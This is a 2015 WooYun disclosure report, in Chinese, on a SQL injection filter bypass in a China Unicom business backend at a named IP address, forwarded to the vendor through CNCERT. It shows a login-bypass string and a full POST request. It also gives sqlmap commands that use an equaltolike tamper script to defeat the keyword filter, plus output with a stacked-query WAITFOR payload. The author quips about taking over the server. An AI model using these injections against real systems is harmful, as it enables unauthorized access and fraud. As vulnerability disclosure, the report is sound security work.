当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134656

漏洞标题:运营商安全之中国联通业务后台已修复但仍然可绕过

相关厂商:中国联通

漏洞作者: 路人甲

提交时间:2015-08-19 11:43

修复时间:2015-10-05 16:42

公开时间:2015-10-05 16:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-19: 细节已通知厂商并且等待厂商处理中
2015-08-21: 厂商已经确认,细节仅向厂商公开
2015-08-31: 细节向核心白帽子及相关领域专家公开
2015-09-10: 细节向普通白帽子公开
2015-09-20: 细节向实习白帽子公开
2015-10-05: 细节向公众公开

简要描述:

恩 修复了。过滤了or select 等关键字没过滤单引号。挺好,特闷修复过了。这是绕过吧。别说和前面的重复了。

详细说明:

地址:http://220.250.65.185/
先看这个洞。后台可以万能密码(admin' or '1'='1)进入也有sa注入
现在看看怎么修复的

1.png


恩 过滤了关键字。但是单引号貌似依旧没过滤

2.png


sqlmap跑一下吧、

POST /Login.aspx HTTP/1.1
Host: 220.250.65.185
Proxy-Connection: keep-alive
Content-Length: 34
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://220.250.65.185
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://220.250.65.185/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Type=DoLogin&UserID=ss&Password=gh


既然过滤了 看看sqlmap的tamper脚本能不能绕过咯

D:\Program Files (x86)\python\sqlmap>sqlmap.py -r c:\1.txt --tamper equaltolike.py


3.png


恩。可以注入。

D:\Program Files (x86)\python\sqlmap>sqlmap.py -r c:\1.txt --tamper equaltolike.
py --current-user
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150712}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:30:39
[10:30:39] [INFO] parsing HTTP request from 'c:\1.txt'
[10:30:39] [INFO] loading tamper script 'equaltolike'
[10:30:39] [WARNING] tamper script 'equaltolike' is unlikely to work against Pos
tgreSQL
[10:30:39] [INFO] resuming back-end DBMS 'microsoft sql server'
[10:30:39] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: UserID (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: Type=DoLogin&UserID=ss';WAITFOR DELAY '0:0:5'--&Password=gh
---
[10:30:39] [WARNING] changes made by tampering scripts are not included in shown
payload content(s)
[10:30:39] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[10:30:39] [INFO] fetching current user
[10:30:40] [WARNING] time-based comparison requires larger statistical model, pl
ease wait.............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
[10:31:44] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[10:32:05] [INFO] adjusting time delay to 1 second due to good response times
UnciomFlowManage
current user: 'UnciomFlowManage'


4.jpg


证明sa权限还在。太卡不跑了。。拿服务器什么的 进后台加钱加钱加钱什么的不是问题

漏洞证明:

地址:http://220.250.65.185/
先看这个洞。后台可以万能密码(admin' or '1'='1)进入也有sa注入
现在看看怎么修复的

1.png


恩 过滤了关键字。但是单引号貌似依旧没过滤

2.png


sqlmap跑一下吧、

POST /Login.aspx HTTP/1.1
Host: 220.250.65.185
Proxy-Connection: keep-alive
Content-Length: 34
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://220.250.65.185
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://220.250.65.185/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Type=DoLogin&UserID=ss&Password=gh


既然过滤了 看看sqlmap的tamper脚本能不能绕过咯

D:\Program Files (x86)\python\sqlmap>sqlmap.py -r c:\1.txt --tamper equaltolike.py


3.png


恩。可以注入。

D:\Program Files (x86)\python\sqlmap>sqlmap.py -r c:\1.txt --tamper equaltolike.
py --current-user
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150712}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:30:39
[10:30:39] [INFO] parsing HTTP request from 'c:\1.txt'
[10:30:39] [INFO] loading tamper script 'equaltolike'
[10:30:39] [WARNING] tamper script 'equaltolike' is unlikely to work against Pos
tgreSQL
[10:30:39] [INFO] resuming back-end DBMS 'microsoft sql server'
[10:30:39] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: UserID (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: Type=DoLogin&UserID=ss';WAITFOR DELAY '0:0:5'--&Password=gh
---
[10:30:39] [WARNING] changes made by tampering scripts are not included in shown
payload content(s)
[10:30:39] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[10:30:39] [INFO] fetching current user
[10:30:40] [WARNING] time-based comparison requires larger statistical model, pl
ease wait.............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
[10:31:44] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[10:32:05] [INFO] adjusting time delay to 1 second due to good response times
UnciomFlowManage
current user: 'UnciomFlowManage'


4.jpg


证明sa权限还在。太卡不跑了。。拿服务器什么的 进后台什么的不是问题

修复方案:

这是你们修复完的?。。。 过滤关键字就没事了么》》》??。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-08-21 16:40

厂商回复:

CNVD确认所述情况,已经转由CNCERT向中国联通集团公司通报,由其后续协调网站管理部门处置.

最新状态:

暂无